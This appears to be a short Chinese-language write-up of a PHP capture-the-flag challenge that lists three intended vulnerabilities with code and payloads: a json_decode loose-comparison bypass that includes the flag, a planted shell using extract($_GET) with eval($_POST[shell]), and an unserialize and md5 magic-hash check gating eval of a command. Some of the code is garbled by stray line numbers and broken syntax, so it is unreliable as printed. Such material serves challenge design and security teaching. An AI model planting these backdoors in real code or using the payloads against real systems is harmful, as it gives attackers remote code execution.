## 预期存在3处漏洞

• /index.php json\_decode函数和php字符==比较绕过

```
<?php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="********";
    if ($message->key == $key) {
        include("/flag");
    }
    else {
        header('Location: ./1.gif');
    }
}
else{
    include("./public/index.php");
}
```

payload: message={"key":0}

• 变量覆盖预留shell

```
shell.php
    <?php
         $auth = 'whatever';
         extract($_GET);
 4
         if(\text{sauth} == 1){}
 5
              @eval($_POST[shell]);
 6
         } else{
 7
              echo "try again!";
 8
 9
    ?>
10
```

payload auth=1

• 反序列化命令执行

```
safe.php
    <?php
 3 error_reporting(0);
4 class Ha{
    public function ha(){
        $KEY = "VENI VIDI VICI";
$str = $_GET['str'];
        if (unserialize($str) === "$KEY")
   {
        if(md5($_POST['a'])=='0e545993274517709034328855841020')
10
11
        {@eval($_POST['cmd']);}
12
13
14
15
    ?>
16
```

调用位置在public/hhhh.php